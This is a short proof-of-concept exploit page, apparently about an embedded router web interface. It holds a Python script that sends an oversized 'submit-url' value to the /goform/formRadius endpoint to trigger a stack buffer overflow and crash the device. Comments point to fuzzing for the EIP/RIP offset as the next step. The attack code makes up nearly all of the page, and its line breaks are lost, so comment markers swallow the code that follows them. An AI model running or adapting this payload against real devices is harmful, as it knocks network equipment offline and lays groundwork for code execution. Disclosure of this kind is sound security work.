PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual IP) target_url = "http://192.168.1.1/goform/formRadius" # The vulnerable parameter is 'submit-url'. # Sending a long string triggers the stack-based buffer overflow. # The exact offset for overwriting the EIP/RIP needs to be determined via fuzzing. payload = "A" * 500 data = { "submit-url": payload } try: print(f"Sending exploit payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) print(f"Response Status Code: {response.status_code}") # If the service crashes, no response or a 500 error might be returned except requests.exceptions.Timeout: print("Request timed out. The device may have crashed due to the overflow.") except Exception as e: print(f"An error occurred: {e}")
